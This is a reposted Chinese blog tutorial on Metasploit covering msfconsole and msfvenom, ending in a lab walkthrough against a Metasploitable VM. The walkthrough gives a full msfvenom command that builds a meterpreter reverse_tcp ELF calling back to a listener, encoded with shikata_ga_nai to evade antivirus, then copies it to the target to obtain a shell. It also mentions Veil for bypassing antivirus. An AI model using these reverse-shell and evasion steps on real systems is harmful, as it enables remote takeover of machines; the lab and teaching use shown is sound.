记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Metasploit Framework详解

2017-06-08 21:25

Metasploit介绍

几乎每一个玩渗透的人都会接触到Metasploit Framework,简称msf。这是一个渗透测试框架,用ruby语言写的,该框架集成了很多可用的exploit,比如著名的ms08_067等。你可以在这个框架下进行一系列的渗透测试,利用现有的Payload,如Meterpreter等进一步拿取对方的shell。下载的地址在github上面,Git clone该项目到本地进行安装即可。

常用工具介绍

msfconsole

这是启动msf的终端命令,注意因为现在msf默认的数据库是postgresql,所以在启动msf之前需要先启动postgresql数据库。

在终端中输入msfconsole即可启动msf,如果不清楚msfconsole的功能可以在终端中输入

msfconsole -h

即可学习msfconsole相关的options。

例如:

在msfconsole中需要注意的是,msfconsole不仅是直接启动msf的工具,还能用msf执行第三方相应的payload文件。

msfconsole -r payload.file

这个功能与veil配合起来很好使。veil是编码payload的神器,专门用来过杀软的,在生成相应的stagers型的payload时,也会生成stages型的payload供渗透端调用,该payload与msf兼容。

msfvenom

在之前的msf版本中会有msfencode,msfpayload等工具,学习成本比较高,现在这些工具已经被废弃了。取而代之的是msfvenom工具,可以看做它是msfencode与msfpayload的结合版,它允许你自行生成想要的payload。

想要学习msfvenom,可以在终端中打:

msfvenom -h

可以看到msfvenom的介绍。

如果你需要看到msfvenom现有的payload,可以用

msfvenom -l payloads

查看所有可利用的payloads。

下面我们用Linux/x86/meterpreter/reverse_tcp这个payload来演示生成可x86架构下可执行的elf文件。

只需在命令行中输入:

freestyle4568@freestyle4568 ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options

即可看到该payload的参数选项:

值得注意的是arch选项,用来表示该payload适用的内核架构,如果是x86架构的内核,可以正常运行,但是如果是x64架构的内核就不能运行。x86_64架构的内核是既能运行32位程序,又能运行64位程序。
关于如何查看内核架构,可以:

freestyle4568@freestyle4568 ~ $ uname -a

Linux freestyle4568 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
msfadmin@metasploitable:~$ uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

可以看到msfadmin的内核架构是x86架构,i686架构也是x86的一种,该平台上只能运行32位程序。

下面我们生成一个metasploitable上的payload可执行程序:

freestyle4568@freestyle4568 ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 -f elf -e x86/shikata_ga_nai -i 3 -o shell


No platform was selected, choosing Msf::Module::Platform::Linux from the payload


No Arch selected, selecting Arch: x86 from the payload


Found 1 compatible encoders


Attempting to encode payload with 3 iterations of x86/shikata_ga_nai


x86/shikata_ga_nai succeeded with size 98 (iteration=0)


x86/shikata_ga_nai succeeded with size 125 (iteration=1)


x86/shikata_ga_nai succeeded with size 152 (iteration=2)


x86/shikata_ga_nai chosen with final size 152


Payload size: 152 bytes


Final size of elf file: 236 bytes


Saved as: shell

可以看到未设置的options是用payload中默认的选项。下面shell文件即为elf可执行文件,适用与x86的linux内核上。同时我们x86/shikata_ga_nai编码对它进行3次编码,为了免杀(当然这个目前会被360检测出来,以后可以用更加高级的免杀工具,这里为了实验)。

我们将它拷贝进入metasploitable系统中,我们在freestyle4568系统中用相应的handler进行监听了连接。

freestyle4568@freestyle4568 ~ $ scp shell msfadmin@192.168.1.103:/home/msfadmin

msfadmin@192.168.1.103's password: 


shell 100% 236 0.2KB/s 00:00

在msfadmin中运行shell文件,然后在freestyle4568中用msf进行侦听。

OK啦!现在拿到了meterpreter,现在基本已经控制了192.168.1.103了。
关于meterpreter,有空再另开一篇,因为这个payloader太强大了。

*参考来源:光速跑者21,转载请注明来自MottoIN

知识来源: www.mottoin.com/102821.html

阅读:145618 | 评论:0 | 标签:工具 metasploit msf 渗透测试

想收藏或者和大家分享这篇好文章→复制链接地址

“Metasploit Framework详解”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词